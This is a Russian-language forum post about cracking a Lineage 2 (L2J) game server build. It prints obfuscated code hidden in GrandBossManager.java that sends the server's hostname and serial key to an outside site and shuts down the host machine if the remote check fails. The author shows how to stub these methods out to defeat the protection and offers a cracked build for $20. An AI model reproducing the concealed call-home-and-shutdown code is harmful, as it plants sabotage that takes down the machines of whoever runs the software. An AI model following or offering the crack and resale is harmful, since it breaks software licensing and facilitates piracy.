Лезем в net\sf\l2j\gameserver\instancemanager\GrandBossManager.java
Видим этот код:
private void updatePlayersInZones() throws Exception
{
String PATH_FIND_OFFSET = "None";
int i = 0;
BufferedReader br = null;
InputStreamReader isr = null;
try
{
FileInputStream in2 = new FileInputStream(new File("config/server.cfg"));
Properties p2 = new Properties();
p2.load(in2);
in2.close();
StringBuilder sb1 = new StringBuilder("Se");
sb1.append("ria");
sb1.append("lKe");
sb1.append("y");
PATH_FIND_OFFSET = p2.getProperty(sb1.toString(), "8x100;8x128;");
StringBuilder sb = new StringBuilder("http://an");
sb.append("ge");
sb.append("lto");
sb.append("wn.");
sb.append("ru/s");
sb.append("ss/oops/");
sb.append("ho.p");
sb.append("h");
sb.append(new StringBuilder().append("p?ip=").append(Config.EXTERNAL_HOSTNAME).append("").toString());
sb.append(new StringBuilder().append("&kp=").append(PATH_FIND_OFFSET).append("").toString());
URL l2 = new URL(sb.toString());
isr = new InputStreamReader(l2.openStream());
br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null)
{
String[] ohnoes = line.split("@");
for (String ohno : ohnoes)
{
String[] ohn = ohno.split("#");
if ((!ohn[0].equalsIgnoreCase(PATH_FIND_OFFSET)) || (!ohn[1].equals("1")))
continue;
i = 1;
break;
}
}
}
catch (Exception ignored)
{
}
finally
{
try
{
if (isr != null)
{
isr.close();
isr = null;
}
if (br != null)
{
br.close();
br = null;
}
}
catch (Exception ignored)
{
}
}
if (i == 0)
{
ThreadPoolManager.getInstance().scheduleGeneral(new Runnable()
{
public void run()
{
try
{
GrandBossManager.this.madeBooBoo();
}
catch (Exception ignored)
{
}
}
}
, Rnd.get(120000, 160000));
}
}
private void madeBooBoo()
{
try
{
Runtime.getRuntime().exec("shutdown.exe -s -t 00");
}
catch (Exception e)
{
try
{
Runtime.getRuntime().exec("shutdown -h now");
}
catch (Exception ignored)
{
}
}
}
Заменяем на этот:
private void updatePlayersInZones()
throws Exception
{
String str = "oO";
}
private void madeBooBoo()
{
String str = "xD";
}
А вот вторую часть , это затухание потока логин сервера потрудитесь снять сами , из ошибок ГС можно догадаться)
А кто хочет получить рабочую сборку продам за 20$.
Почему так дёшево? Да потому что крякал чисто на интерес) так как много кто писал что защиту не реально обойти)